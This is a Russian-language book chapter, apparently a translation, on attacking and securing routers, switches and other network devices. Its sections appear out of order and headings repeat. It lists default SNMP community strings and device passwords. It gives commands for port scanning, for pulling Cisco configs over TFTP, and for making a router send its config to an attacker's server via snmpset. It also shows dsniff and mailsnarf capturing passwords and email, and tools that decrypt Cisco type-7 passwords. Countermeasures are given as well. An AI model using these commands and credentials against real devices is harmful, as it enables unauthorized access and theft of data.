Для тех, кто лучше знаком с системой Windows, существует соответствующая версия модуля расшифровки паролей Cisco, подготовленная компанией SolarWinds из города Тулса штата Оклахома (Tulsa, Oklahoma). Компания SolarWinds разрабатывает сетевое программное обеспечение для больших телекоммуникационных компаний и включает модуль расшифровки в состав приложения просмотра параметров настройки устройств Cisco (Cisco Config Viewer). Кроме того, этот модуль распространяется и как самостоятельное приложение (Рисунок 10.6).
Обнаружение
Обнаружение
На этом этапе применяется сканирование портов с использованием разнообразных инструментов, о которых мы уже довольно подробно говорили в предыдущих главах. В большинстве случаев для выполнения всех работ будет вполне достаточно таких утилит, как traceroute, netcat и nmap.
Обнаружение
Обнаружение
Самый простой способ обнаружения SNMP-запросов на запись в базу данных MIB заключается в использовании утилиты syslog, настроенной на регистрацию каждого запроса. Для этого сначала на компьютере с системой UNIX или NT нужно запустить демон syslog, а затем настроить его таким образом, чтобы он регистрировал соответствующие события. На устройстве Cisco это можно сделать с помощью следующей команды. logging 196.254.92.83
Определение типа сети
Определение типа сети
Определить, к какому типу относится используемая вами сеть (т.е. к сетям с множественным доступом или же к сетям с коммутацией пакетов), очень просто. Используя простейшую программу перехвата пакетов, например tcpdump (для NT или UNIX), вы получите все данные, необходимые для того, чтобы сделать однозначное заключение.
В коммутируемых сетях вы сможете увидеть только трафик широковещательных сообщений (broadcast traffic), трафик групповых сообщений (пакеты, передаваемые группе узлов; multicast traffic), а также потоки данных, отправляемые и получаемые вашим компьютером. В показанном ниже примере сеанса работы утилиты tcpdump, запущенной в коммутируемой сети, видно, что утилита перехватила только циркулярную рассылку по протоколу SAP (Service Advertisement Protocol) и пакеты, отправляемые по протоколу разрешения адресов (ARP — Address Resolution Protocol).
20:20:22.530205 0:80:24:53:ae:bd >
1:80:c2:0:0:0 sap 42 ui/C len=43
0000 0000 0080 0000 8024 53ae dlOO 0000
0080 0000 8024 53ae d!80 OdOO 0014 0002
OOOf 0000 0000 0000 0000 00
20:20:24.610205 0:80:24:53:ae:bd >
1:80:c2:0:0:0 sap 42 ui/C len=43
0000 0000 0080 0000 8024 53ae dlOO 0000
0080 0000 8024 53ae d!80 OdOO 0014 0002
OOOf 0000 0000 0000 0000 00
20:20:25.660205 arp
who-has 172.29.11.100 tell 172.29.11.207
20:20:26.710205 0:80:24:53:ae:bd
> 1:80:c2:0:0:0 sap 42 ui/C len=43
0000 0000 0080 0000 8024 53ae dlOO 0000
0080 0000 8024 53ae d!80 OdOO 0014 0002
OOOf 0000 0000 0000 0000 00
20:20:28.810205 0:80:24:53:ae:bd >
1:80:c2:0:0:0 sap 42 ui/C len=43
0000 0000 0080 0000 8024 53ae dlOO 0000
0080 0000 8024 53ae d!80 OdOO 0014 0002
OOOf 0000 0000 0000 0000 00
20:20:30.660205 arp who-has
172.29.11.100 tell 172.29.11.207
20:25:37.640205 192.168.40.66.23 >
172.29.11.207.1581: Р 31:52(21)
ack 4С win 8760 (DF) (ttl 241, id 21327)
20:25:37.640205 172.29.11.207.1581 >
192.168.40.66.23: Р 40:126(86)
ack 52 win 32120 (DF")
[tos 0x10] (ttl 64, id 4221)
20:25:37.780205 192.168.40.66.23 >
172.29.11.207.1581: P 52:73(21)
ack 126 win 8760 (DF) (ttl 241,id 21328)
20:25:37.800205 172.29.11.207.1581 >
192.168.40.66.23: . ack 73
win 32120 (DF) [tos 0x10] (ttl 64,id 4222)
20:25:37.960205 192.168.40.66.23 >
172.29.11.207.1581: P 73:86(13)
ack 126 win 8760 (DF) (ttl 241,id 21329)
20:25:37.960205 172.29.11.207.1581 >
192.168.40.66.23: P 126:132(6)
ack 86 win 32120 (DF)
[tos 0x10] (ttl 64, id 4223)
20:25:38.100205 192.168.40.66.23 >
172.29.11.207.1581: P 86:89(3)
ack 132 win 8760 (DF) (ttl 241, id 21330)
20:25:38.120205 172.29.11.207.1581 >
192.168.40.66.23: . ack 89
win 32120 (DF) [tos 0x10]
(tti 64,id 4224)
Пароли маршрутизаторов Cisco
Пароли маршрутизаторов Cisco
На разных моделях Cisco неоднократно обнаруживали различные пароли, используемые по умолчанию для доступа с виртуального терминала vty, включая такие легко угадываемые, как cisco и cisco routers. Кроме того, на некоторых моделях были обнаружены установленные по умолчанию пароли cisco, позволяющие получить удаленный доступ к устройству. Как вы понимаете, такие пароли нужно как можно быстрее заменить на более сложные. Наконец, на некоторых моделях Cisco 2600, произведенных до 24 апреля 1998 года, по умолчанию использовался пароль, состоящий из одной-единственной буквы с.
Пароли на блюдечке dsniff
Пароли на блюдечке: dsniff
Конечно, с помощью утилиты tcpdump можно без проблем определить тип используемой сети, однако что вы скажете о получении главных жемчужин компьютерного мира — паролей? Для этих целей можно приобрести чудовищный по предоставляемым возможностям программный пакет SnifferPro или воспользоваться более дешевыми средствами, например, CaptureNet, разработанным Лаврентием Никулой (Laurentiu Nicula). Однако лучше всего прибегнуть к программе Дага Сонга (Dug Song). Он разработал одно из наиболее сложных средств перехвата паролей — программу dsniff.
Зачастую можно встретить приложения, в которых в качестве паролей используется незашифрованный текст. Кроме того, подобная конфиденциальная информация хранится далеко не в лучшем месте. Примерами таких приложений могут послужить следующие: FTP, telnet, POP, SNMP, HTTP, NNTP, ICQ, IRC, Socks, NFS (сетевая файловая система— Network File System), mountd, rlogin, IMAP, AIM, XI1, CVS, Napster, Citrix ICA, pcAnywhere, NAI Sniffer, Microsoft SMB и Oracle SQL. В большинстве перечисленных выше приложений либо используются незашифрованные пользовательские имена и пароли, либо применяются упрошенные алгоритмы шифрования, сокрытия и декодирования, которые нельзя рассматривать как серьезную преграду для взломщиков. Именно в этом случае можно ощутить всю мощь программы dsniff.
С помощью программы dsniff можно прослушать трафик любого сетевого сегмента независимо от того, относится ли он к сети с множественным доступом или же к сети с коммутацией пакетов. Эту программу можно получить по адресу http://naughty.monkey.org/~dugsong/dsniff/, а затем выполнить ее компиляцию. С Web-узла компании еЕуе (http://www.eeye.com) можно также загрузить и попробовать в действии версию этой программы для платформы Win32. В этом случае потребуется установить также и библиотеку WinPcap, которая, однако, может вызвать некоторые проблемы в системах с конфликтом драйверов. Эту библиотеку можно найти по адресу http://netgroup-serv.polito.it/winpcap/.
При запуске программы dsnif f в системе Linux будут получены все незашифрованные или простые пароли сетевого сегмента.
[root@mybox dsniff-1.8] dsniff
---------------
05/21/00 10:49:10 bob -> unix-server (ftp)
USER bob
PASS dontlook
---------------
05/21/00 10:53:22 karen -> lax-cisco (telnet)
karen
supersecret
---------------
05/21/00 11:01:11 karen -> lax-cisco (snmp)
[version 1]
private
[root]# mailsnarf
From stu@hackingexposed.com Mon May 29 23:19:10 2000
Message-ID: 0017Olbfca02$790cca90$6433a8cO@foobar.com
Reply-To: "Stuart McClure" stu@hackingexposed.com
From: "Stuart McClure" stu@hackingexposed.com
To: "George Kurtz" george@hackingexposed.com
References: 0022Olbfc729$7d7ffe70$ab8dOb!8@JOC
Subject: Re: conference call
Date: Mon, 29 May 2000 23:44:15 -0700
MIME-Version: 1.0
Content-Type: multipart/alternative;
boundary="———=_NextPart_000_0014_01BFC9C7.CC970F30"
X-Priority: 3 X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2919.6600
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6600
This is a multi-part message in MIME format.
---=_NextPart_000_0014_01BFC9C7.CC970F30
Content-Type: text/plain;
charset="iso-8859-l"
Content-Transfer-Encoding: quoted-printable
Have you heard the latest one about the...
[content censored here]
- Stu
Чтение почтовых сообщений ваших соседей может показаться забавным занятием, однако не забывайте о том, что подобные действия вряд ли можно назвать законными.
Перенаправление ARP
Перенаправление ARP
В рассматриваемом примере три компьютера соединены с сетевым коммутатором. Система crush является шлюзом, заданным по умолчанию, с IP-адресом 10.1.1.1. Компьютер shadow— это исходный узел с IP-адресом 10.1.1.18. Система twister представляет собой компьютер взломщика, который будет выполнять роль "третьего-среднего". Его IP-адрес 10.1.1.19. Для подготовки нападения на узле twister запустим утилиту arpredirect, входящую в состав пакета dsniff Дага Сонга. Эта утилита позволит нам перехватывать пакеты, передаваемые исходным узлом по сети другому узлу, который обычно представляет собой шлюз, используемый по умолчанию.
Перед тем как приступить к изучению этого подхода в собственной сети, обсудите этот вопрос с сетевым администратором. Если на вашем коммутаторе включен режим защиты портов, то это может привести к блокированию всех пользователей, обратившихся к нему.
Не забывайте о том, что все компьютеры соединены с коммутатором и у нас имеется возможность просматривать лишь широковещательный сетевой трафик. Однако как показано ниже, с помощью утилиты arpredirect мы сможем просмотреть весь поток сообщений, передаваемый между узлами shadow и crush.На узле twister выполним следующую команду.
[twister] ping crush
PING 10.1.1.1 from 10.1.1.19 : 56(84) bytes of data.
64 bytes from 10.1.1.1: icmp_seq=0 ttl=128 time=1.3 ms
[twister] ping shadow
PING 10.1.1.18 from 10.1.1.19 : 56(84) bytes of data.
64 bytes from 10.1.1.18: icmp_seq=0 ttl=255 time=5.2 ms
Подключение к кабельному модему
Подключение к кабельному модему Motorola через порт 1024 с помощью telnet
Как сообщалось в майском выпуске (1998 г.) бюллетеня Bugtraq, программное обеспечение Cable Router компании Motorola позволяет кому угодно подключиться к скрытому порту telnet. Как выяснилось, с портом TCP 1024 связан ожидающий поступления запросов демон telnet, и, используя установленные по умолчанию пользовательское имя cablecom и пароль router, через эту службу можно получить административный доступ к этому устройству. Хотя на практике кабельные модемы от компании Motorola встречаются нечасто, авторы оставили описание этого изъяна, поскольку он наглядно демонстрирует возможность проникновения в систему через такие "неожиданные" порты, как TCP 1024. Не допускает ли ваш модем скрытый доступ через службу telnet к какому-либо другому порту?
Подобный изъян имеется во всех
Рисунок 10.2. Подобный изъян имеется во всех моделях маршрутизаторов Cisco, что значительно облегчает их идентификацию
Информация об этом изъяне системы зашиты Cisco впервые была опубликована в бюллетене Bugtraq Джоелом (JoeJ) из группы Rhino9. Он заключается в том, каким образом устройства Cisco отвечают на TCP-запросы SYN, передаваемые через порт 1999 (порт, используемый службой ident Cisco). Неофициальный ответ компании Cisco на эту проблему был опубликован в бюллетене Bugtraq Джоном Башински (John Bashinski) <jbash@cc.COM>.
Метод получения информации тривиален. Для того чтобы определить, является ли то или иное устройство маршрутизатором Cisco, просто просканируйте TCP-порт с номером 1999. С применением утилиты nmap эта задача решается следующим образом.
[root@source /tmp]# nmap -nvv -p1999 172.29.11.254
После этого с помощью специального программного обеспечения нужно перехватить ответный пакет RST/ASK. Как видно из Рисунок 10.2, среди данных этого пакета можно обнаружить слово cisco.
Получение файлов с помощью TRP
Получение файлов с помощью TRP
Практически все маршрутизаторы поддерживают использование протокола TFTP (Trivial File Transfer Protocol). Этот протокол представляет собой основанный на протоколе UDP механизм передачи файлов, применяемый для резервного копирования и восстановления конфигурационных файлов, который связан с портом UDP 69. Как вы понимаете, обнаружить эту службу, запущенную на вашем устройстве, достаточно просто с помощью утилиты nmap.
[root@happy] nmap -sU -p69 -nw target
Использование TFTP для получения конфигурационных файлов обычно является весьма тривиальной операцией (при условии, конечно, что администратор сети употребляет общепринятые названия конфигурационных файлов). Например, выполнив обратное DNS-преобразование адреса устройства, находящегося в нашей сети (192.168.0.1), мы можем установить, что оно имеет DNS-имя lax-serial-rtr. Теперь можно просто попытаться получить файл .cfg с помощью следующих команд, в которых имя DNS используется в качестве имени конфигурационного файла.
[root@happy] tftp
> connect 192.168.0.1
> get lax-serial-rtr.cfg
> quit
Контрмеры: защита от применения ТFTР
Для того чтобы устранить угрозу, таящуюся в использовании протокола TFTP, можно предпринять следующие меры.
Вообще запретите доступ с помощью TFTP. Синтаксис команды, которую можно использовать для этих целей, существенно зависит от модели маршрутизатора, поэтому сначала внимательно изучите документацию. Для моделей ряда Cisco 7000 можно попробовать команду следующего вида. no tftp-server flash <устройство:имя_файла>
Для контроля доступа с помощью TFTP настройте соответствующий фильтр. Это можно осуществить с помощью команды, подобной следующей.
access-list 101 deny udp any any eq 69 log !
"Потайные" ходы
"Потайные" ходы
"Тайная" учетная запись (backdoor account) — это одна из наиболее сложных проблем. Такие учетные записи создаются разработчиками для того, чтобы при отладке обходить случайно заблокированные учетные записи администраторов, однако гораздо чаще они предоставляют злоумышленникам возможность проникновения в вашу систему. В последние годы было выявлено немало таких встроенных пользовательских имен и паролей, позволяющих получить доступ ко многим популярным сетевым устройствам, включая 3Com, Bay, Cisco и Shiva. Суть проблемы заключается в том, чтобы найти все подобные устройства и запретить или ограничить к ним доступ.
Программа Cisco Password Decryption
Рисунок 10.6. Программа Cisco Password Decryption компании Solar-Winds имеет графический пользовательский интерфейс и является очень простым средством расшифровки паролей Cisco
Программа IP Network Browser компании
Рисунок 10.3. Программа IP Network Browser компании SolarWinds очень наыядно представляет информацию, которую можно полунить с помощью легко угадываемых строк доступа SNMP
Получив конфигурационный файл, остается лишь расшифровать пароль. Для этого достаточно щелкнуть на кнопке Decrypt Password панели инструментов, как показано на Рисунок 10.5.
Прослеживание маршрута с помощью traceroute
Прослеживание маршрута с помощью traceroute
С помощью утилит traceroute или tracert, входящих в комплект поставки UNIX и NT, соответственно, можно определить основные маршруты, по которым проходят пакеты от вашего узла к другому узлу Internet или внутренней сети TCP/IP. Обладая этой информацией, можно обнаружить очень важный элемент сетевой инфраструктуры — маршрутизатор. Именно маршрутизатор чаше всего становится "мишенью № 1" в попытках злоумышленника обследовать структуру сети. Ниже приведен пример работы утилиты traceroute, из которого видно, как пакеты проходят от одного маршрутизатора (или брандмауэра) к другому.
[sm@tsunami sm]$ traceroute www.destination.com
traceroute to www.destination.com (192.168.21.3),30 hops max,40 byte packets
1 happy (172.29.10.23) 6.809 ms 6.356 ms 6.334 ms
2 rtrl.internal.net (172.30.20.3) 36.488 ms 37.428 ms 34.300 ms
3 rtr2.internal.net (172.30.21.3) 38.720 ms 38.037 ms 35.077 ms
4 core.externalp.net (10.134.13.1) 49.188 ms 54.787 ms 72.094 ms
5 nj.externalp.net (10.134.14.2) 54.420 ms 64.554 ms 52.191 ms
6 sfo.externalp.net (10.133.10.2) 54.726 ms 57.647 ms 53.813 ms
7 lax-rtr.destination.com (192.168.0.1) 55.727 ms 57.039 ms 57.795 ms
8 www.destination.com (192.168.21.3) 56.182 ms 78.542 ms 64.155 ms
В этой главе вы узнали,
Резюме
В этой главе вы узнали, как много сетевых устройств можно выявить с помощью методов сканирования и прослеживания маршрутов. Идентифицировать эти устройства достаточно легко. Обычно этот процесс сопровождается сбором идентификационных маркеров, идентификацией операционной системы и идентификацией по характерным признакам, например по открытому порту 1999 устройств Cisco.
Мы также обсудили угрозы, которые таит в себе неправильная настройка протокола SNMP и использование установленных по умолчанию строк доступа. Кроме того, мы рассмотрели различные потайные учетные записи, которые, к сожалению, имеются во многих современных сетевых устройствах. Затем мы остановились на нескольких способах получения конфигурационных файлов, таких как запись по сети базы данных Ml В или через TFTP.
В этой главе были рассмотрены различия между коммутируемыми и традиционными сетями, а также продемонстрированы некоторые методы, с помощью которых злоумышленники могут прослушать сетевой поток данных telnet и SNMP с использованием анализаторов пакетов dsniff и linsniff, а затем получить доступ ко всей инфраструктуре сети. И наконец, был рассмотрен вопрос о том, как в коммутируемых сетях взломщики могут перехватывать пакеты ARP и использовать протоколы SNMP и RIP для обновления таблиц маршрутизации с целью последующего несанкционированного получения информации о пользователях.
С использованием модуля Cisco
Рисунок 10.5. С использованием модуля Cisco Config Viewer компании SolarWinds очень просто расшифровать пароли Cisco, содержащиеся в конфигурационном файле
Если же вы хотите проверить, является ли ваше устройство уязвимым, не прибегая к "хакерским методам", то можно воспользоваться базой данных Cisco, находящейся по адресу ftp://ftp.cisco.com/pub/mibs/supportlists/. Найдите свое устройство и перепишите на свой компьютер файл supportlist.txt. Затем вам остается проверить, поддерживается ли этим устройством база данных MIB старого формата, т.е. OLD-CISCO-SYS-MIB. Если это так, то вам придется принимать дополнительные меры по защите маршрутизатора.
В системе UNIX конфигурационный файл Cisco можно получить с помощью единственной команды. Если вам известна строка доступа для чтения и записи устройства с адресом 10.11.12.13 и на вашем компьютере с IP-адресом, скажем 192.168.200.20, запущен сервер TFTP, то можно воспользоваться следующей командой, snmpset 10.11.12.13 private 1.3.6.1.4.1.9.2.1.55.192.168.200.20 s config.file
В конфигурационном файле Cisco имеется два элемента, которые представляют особый интерес для злоумышленника, — пароль разрешения доступа (enable password) и пароль telnet-аутентификации. Оба эти элемента хранятся в конфигурационном файле в зашифрованном виде. Однако, как мы увидим несколько позже, расшифровать их достаточно просто. Ниже приведена строка, содержащая зашифрованный пароль разрешения доступа.
enable password 7 08204Е
А так выглядят строки, содержащие пароль telnet-аутентификации.
line vty 0 4
password 7 08204Е
login
snmpset 10.11.12.13 private
1.3.6.1.4.1.529.9.5.3.0 а
snmpset 10.11.12.13 private
1.3.6.1.4.1.529.9.5.4.0 s config.file
Сетевые устройства
Сетевые устройства
Компьютерная сеть — это кровеносная система любой компании. Сотни тысяч километров медных и оптоволоконных кабелей опоясывают стены корпоративной Америки, действуя подобно сосудам, доставляющим обогащенную кислородом кровь к мозгу. Однако во всем есть и другая сторона: типичную корпоративную локальную или глобальную сеть (LAN или WAN соответственно) трудно назвать безопасной. С учетом постоянно растущего значения компьютерных сетей сегодня нельзя пренебрежительно относится к этой проблеме, так как удачное проникновение злоумышленника в вашу сеть подчас может оказаться губительным для самого существования компании. В большинстве случаев овладение сетью означает то же самое, что и возможность перехвата почтовых сообщений, финансовых данных, перенаправление потока информации на неавторизованные системы. И все это возможно даже несмотря на применение частных виртуальных сетей (VPN — Virtual Private Network).
Администратор сети должен понимать, что угроза утечки информации может исходить из любого источника, начиная с архитектурных недостатков и возможности SNMP-сканирования и заканчивая наличием используемых по умолчанию учетных записей, позволяющих кому угодно получить доступ к сетевым устройствам, или "потайных ходов" в базе данных MIB. В этой главе мы обсудим, как злоумышленники могут установить факт присутствия в сети сетевых устройств, выполнить их идентификацию, а затем взломать их и получить несанкционированный доступ.
Наибольшую опасность для безопасности системы составляют человеческие ошибки. Необходимо помнить, что любое устройство, такое как совместно используемый концентратор, коммутатор или маршрутизатор, может быть либо неправильно настроено, либо даже неправильно спроектировано, обеспечивая тем самым скрытый потайной ход к вашим корпоративным сокровищам. Поэтому необходимо позаботиться о выявлении всех таких устройств и позаботиться о блокировании любых несущих угрозу изъянов, пока до них не добрались злоумышленники.
Сканирование портов
Сканирование портов
С помощью утилиты nmар, к которой мы очень часто прибегаем в подобных ситуациях, из операционной системы Linux можно выяснить, какие порты маршрутизатора (192.168.0.1) находятся в состоянии ожидания запросов. По комбинации обнаруженных портов часто можно судить о типе маршрутизатора. В табл. 10.1 перечислены стандартные порты TCP и UDP, используемые на самых популярных сетевых устройствах. Для того чтобы идентифицировать тип устройств, можно прибегнуть к сканированию портов, а затем проанализировать полученные результаты. Не забывайте о том, что в различных реализациях комбинации портов могут отличаться от приведенных.
Слабость алгоритмов шифрования паролей Cisco
Слабость алгоритмов шифрования паролей Cisco
Устройства Cisco, по крайней мере на момент написания данной книги, имели слабый алгоритм шифрования, используемый как при хранении пароля vty, так и пароля доступа. Оба пароля хранятся в конфигурационном файле устройств, а их взлом не представляет особого труда. Для того чтобы узнать, является ли ваш маршрутизатор уязвимым, просмотрите конфигурационный файл с помощью следующей команды.
show config
Если вы увидите строку, подобную показанной ниже, значит, пароль доступа к устройству легко расшифровать.
enable password 7 08204Е
С другой стороны, если в конфигурационном файле вы увидите запись, подобную приведенной ниже, можете не волноваться — пароль доступа надежно защищен (чего, к сожалению, нельзя сказать о пароле telnet).
enable secret 5 $1$.pUt$w8jwdabc5nHk1IHFWcDav
Эта запись означает, что грамотный администратор Cisco вместо используемой по умолчании команды enable password применил команду enable secret, активизирующую режим шифрования пароля по алгоритму MD5, который обеспечивает большую надежность, чем стандартный алгоритм Cisco. Однако, насколько нам известно, шифрование паролей с помощью MD5 распространяется только на пароль доступа, но неприменим для шифрования таких паролей, как пароли vty.
line vty 0 4
password 7 08204Е
login
Расшифровать такой пароль можно с помощью одной из множества программ, имеющихся в Internet. . Первая из них, написанная хакером Хоббитом (Hobbit) (http://www.avian.org), представляет собой сценарий командной оболочки. Вторая программа, ciscocrack.c, написана на языке С хакером Сфайксом (SPHiXe). Ее можно найти в многочисленных статьях, посвященных анализу паролей Cisco. Третьей программой является приложение Palm Pilot, созданное доктором Маджем (Dr. Mudge), одним из участников группы L0pht. И наконец, модуль расшифровки пароля Cisco был создан компанией SolarWinds. В системе NT этот модуль функционирует как часть программного пакета управления сетью. Его можно найти по адресу http://www.solarwinds.net.
и порты виртуальных терминалов 2001,
Служба finger и порты виртуальных терминалов 2001, 4001, 6001
На некоторые запросы служба finger компании Cisco может выдавать совершенно бесполезную (для пользователя или администратора, но не для злоумышленника) информацию. Виртуальные терминалы vty Cisco (обычно с номером 5) отвечают на простой запрос finger -1 @<узел>, но в выдаваемых результатах нет ничего информативного, за исключением лишь того, что по самому факту получения ответа можно судить о том, что мы имеем дело с маршрутизатором Cisco.
Еще одним методом получения информации является обращение к портам 2001, 4001 и 6001, которые в маршрутизаторах Cisco предназначены для управления устройством. С помощью утилиты netcat взломщик может подключиться к любому из этих портов и проверить, будет ли получена какая-либо информация от узла. В большинстве случаев полученную тарабарщину трудно назвать информацией, однако если подключиться к этим портам с помощью броузера, указав, например, адрес вида 172.29.11.254:4001, то результат может выглядеть следующим образом.
User Access Verification Password: Password: Password: % Bad passwords
Такое сообщение поможет злоумышленнику удостовериться в том, что он имеет дело с устройством Cisco.
Служба XRemote Cisco (9001)
Служба XRemote Cisco (9001)
Еще одним часто используемым портом Cisco является TCP-порт службы XRemote с номером 9001. Эта служба позволяет узлам вашей сети подключаться с помощью клиента XSession к маршрутизатору (обычно через модем). Когда злоумышленник подключается к этому порту с помощью утилиты netcat, то устройство, как правило, передает обратно идентификационный маркер, как показано в следующем примере.
C:\>nc-nvv 172.29.11.254 9001
(UNKNOWN) [172.29.11.254] 9001 (?) open
-— Outbound XRemote service —-
Enter X server name or IP address:
SNMP
SNMP
Протокол SNMP (Simple Network Management Protocol) предназначен для облегчения работы администратора по управлению устройствами сети. Однако огромной проблемой протокола SNMP версии 1 (SNMPvl) всегда была абсолютная незащищенность узла, на котором работали средства поддержки этого протокола. В исходной версии использовался только один механизм обеспечения безопасности, основанный на использовании специачьных паролей, называемых строками доступа (community string). В ответ на жалобы о наличии слабых мест в системе обеспечения безопасности была быстро разработана значительно улучшенная версия SNMP (SNMFV2). В этой версии для аутентификации сообщений, передаваемых между серверами и клиентами SNMP, используется алгоритм хэширования MD5. Это позволяет обеспечить как целостность пересылаемых данных, так и возможность проверки их подлинности. Кроме того, SNMPv2 допускает шифрование передаваемых данных. Это ограничивает возможности злоумышленников по прослушиванию трафика сети и получению строк доступа. Однако в то же время ничто не мешает администраторам использовать на маршрутизаторах простейшие пароли.
Третья версия протокола SNMP (SNMPv3) является текущим стандартом и позволяет достичь необходимого уровня безопасности устройств, но его принятие, по-видимому, затянется на довольно длительное время. Достаточно изучить типичную сеть, чтобы убедиться в том, что большинство устройств работает под управлением даже не SNMPv2, a SNMPvl! Более подробная информация о протоколе SNMPv3 находится по адресу http://www.ietf.org/ html.charters/snmpv3-charter.html. Однако ни одна из версий протокола SNMP не ограничивает возможности использования администраторами строк доступа, предлагаемых разработчиками. Как правило, для них устанавливаются легко угадываемые пароли, которые хорошо известны всем, кто хоть немного интересуется подобными вопросами.
Еще хуже то, что во многих организациях протокол SNMP практически не учитывается в реализуемой политике безопасности. Возможно, это происходит из-за того, что протокол SNMP работает поверх UDP (который, как правило, отсутствует в стеке протоколов), или потому, что о его возможностях известно лишь немногим администраторам. В любом случае необходимо констатировать, что вопросы обеспечения безопасности при использовании протокола SNMP часто ускользают из поля зрения, что нередко дает возможность взломщикам проникнуть в сеть.
Однако перед тем, как перейти к подробному рассмотрению изъянов протокола SNMP, давайте кратко познакомимся с основными понятиями, которые с ним связаны. Строки доступа могут быть одного из двух типов — позволяющие только чтение (тип read) и позволяющие как чтение, так и запись (read/write). При использовании строк доступа SNMP, позволяющих только чтение, можно лишь просматривать сведения о конфигурации устройства, такие как описание системы, TCP- и UDP-соединения, сетевые адаптеры и т.д. Строки доступа, предоставляющие права чтения и записи, обеспечивают администратору (и, конечно, злоумышленнику) возможность записывать информацию в устройство. Например, с использованием всего одной команды SNMP администратор может изменить контактную системную информацию, snmpset 10.12.45.2 private .1.3.6.1.2.1.1 s Smith
Стандартные TCP и
Таблица 10.1. Стандартные TCP- и UDP-порты некоторых сетевых устройств
Устройство |
TCP |
UDP |
Маршрутизаторы Cisco |
21 (ftp) 23 (telnet) 79 (finger) 80 (http) 512 (exec) 513 (login) 514 (shell) 1993 (Cisco SNMP) 1999 (Cisco ident) 2001 4001 6001 9001 (XRemoute) |
0 (tcpmux) 49 (domain) 67 (bootps) 69 (tftp) 123(ntp) 161 (snmp) |
Коммутаторы Cisco |
23 (telnet) 7161 |
0 (tcpmux) 123(ntp) 161 (snmp) |
Маршрутизаторы Bay |
21 (ftp) 23 (telnet) |
7 (echo) 9 (discard) 67 (bootps) 68 (bootpc) 69 (tftp) 161 (snmp) 520 (route) |
Маршрутизаторы Ascend |
23 (telnet) |
7 (echo) 9 (discard) 161 (snmp) 162 (snmp-trap) 514 (shell) 520 (route) |
Так, если вас интересуют маршрутизаторы Cisco, выполните сканирование портов 1-25, 80, 512-515, 2001, 4001, 6001 и 9001. Полученные при этом результаты помогут определить изготовителя устройства и его тип.
[/tmp]# nmap -pl-25,80,512-515,2001,4001,6001,9001 192.168.0.1
Starting nmap V. 2.12 by Fyodor (fyodor@dhp.com,
www.insecure.org/nmap/)
Interesting ports on (192.168.0.1):
Port State Protocol Service
7 open tcp echo
9 open tcp discard
13 open tcp daytime
19 open tcp chargen
23 filtered tcp telnet
2001 open tcp dc
6001 open tcp Xll:l
Используемые по умолчанию
Таблица 10.2. Используемые по умолчанию пароли сетевых устройств
Компания-разработчик |
Строка доступа для чтения |
Строка доступа для чтения/записи |
Ascend |
public |
write |
Bay |
public |
private |
Cisco |
public |
private |
3Com |
public, monitor |
manager, security |
public private secret world read network community write cisco all private admin default password tivoli openview monitor manager security Помимо перечисленных строк доступа, используемых по умолчанию, многие компании в качестве таковых используют собственное название. Например, руководствуясь этим принципом, издательство Osborne может использовать в качестве строки доступа слово osborne (но это только по секрету).
Стандартные пользовательские
Таблица 10.3. Стандартные пользовательские имена и пароли, которые необходимо изменить
Устройство |
Имя |
Пароль |
Уровень |
Маршрутизатор Bay |
User Manager |
<нет> <нет> |
Пользователь Администратор |
Коммутатор Bay 350T Bay SuperStack II 3COM |
NetlCs Security admin read write debug tech monitor manager security |
<нет> Security synnet synnet synnet synnet tech monitor manager security |
Администратор Администратор Администратор Пользователь Администратор Администратор Пользователь Администратор Администратор |
Cisco |
(telnet) (telnet) enable (telnet) |
с (Cisco 2600) CISCO cisco cisco routers |
Пользователь Пользователь Администратор |
Shiva Webramp Motorola CableRouter |
root Guest wradmin cablecom |
<нет> <нет> trancell router |
Администратор Пользователь Администратор Администратор |
Установленные по умолчанию учетные записи
Установленные по умолчанию учетные записи
Одним из чаще всего обнаруживаемых изъянов является установленные по умолчанию имя пользователя и пароль. Практически все разработчики поставляют на рынок сетевые устройства, позволяющие получить с помощью подобной учетной записи доступ на уровне пользователя, а иногда — и администратора (подробнее см. табл. 10.3). Поэтому вашим первым шагом при настройке таких устройств должно быть немедленное удаление таких учетных записей.
Устаревшая база данных MIB Cisco и Ascend
Устаревшая база данных MIB Cisco и Ascend
Устройства компаний Cisco и Ascend поддерживают базу данных MIB устаревшего формата, которая через открытые строки доступа, обеспечивающие чтение и запись, позволяет любому пользователю получить конфигурационный файл с использованием TFTP. Если речь идет об устройствах Cisco, то эта база данных называется OLD-CISCO-SYS-MIB. Ввиду того что в этом файле содержится пароль для доступа к устройству Cisco (он зашифрован весьма примитивным способом — с помощью операции XOR), взломщик может легко расшифровать его и использовать для реконфигурации вашего маршрутизатора или коммутатора.
Для того чтобы проверить, уязвим ли ваш маршрутизатор, можно выполнить описанные ниже операции. Воспользовавшись программой IP Network Browser компании SolarWinds (http: //www. solarwinds .net), укажите строки доступа SNMP, обеспечивающие чтение и запись, и просканируйте требуемое устройство или всю сеть. После завершения сканирования вы увидите информацию обо всех обнаруженных устройствах и данных SNMP (Рисунок 10.3).
Если интересующее вас устройство сгенерировало ответ на SNMP-запрос и соответствующий элемент списка заполнен информацией, представленной в виде древовидной структуры, выберите из меню команду Nodes^View Config File. При этом запустится сервер TFTP и, если в системе защиты устройства имеется изъян, можно получить конфигурационный файл Cisco, как показано на Рисунок 10.4.
Устранение изъянов
Устранение изъянов
Возможность хакинга сетевых устройств в значительной степени зависит от объема и качества проведенных в сети защитных мероприятий. Если вы выбрали пароли для подключений telnet и строки доступа SNMP, которые трудно подобрать, ограничили использование служб FTP и TFTP, а также активизировали режим регистрации всех событий, имеющих отношение к безопасности (при условии, конечно, что кто-то регулярно просматривает эти журналы), то описанные ниже изъяны вряд ли окажутся опасными для вашей сети. С другой стороны, если ваша сеть достаточно обширна и имеет сложную для управления структуру, в ней могут оказаться узлы, безопасность которых, мягко говоря, далека от идеальной. В связи с этим нелишним будет выполнить дополнительную проверку и лишний раз застраховаться от неожиданностей.
Устройства Webramp
Устройства Webramp
Джеймс Игелхоф (James Egelhof) и Джон Стенли (John Stanley) установили, что устройства Webramp Entre (в версии ISDN) имеют установленные по умолчанию пользовательское имя wradmin и пароль trancell. Эта учетная запись предоставляет злоумышленнику доступ к устройству на уровне администратора, позволяя вносить изменения в конфигурацию, изменять пароль и т.д. Вполне вероятно, что подобные недостатки имеются и в других продуктах Webramp.
Утечка информации в пакетах Cisco
Утечка информации в пакетах Cisco
Утилита SuperScan позволяет задать
Рисунок 10.1. Утилита SuperScan позволяет задать множество портов, благодаря чему значительно облегчается их последующее сканирование
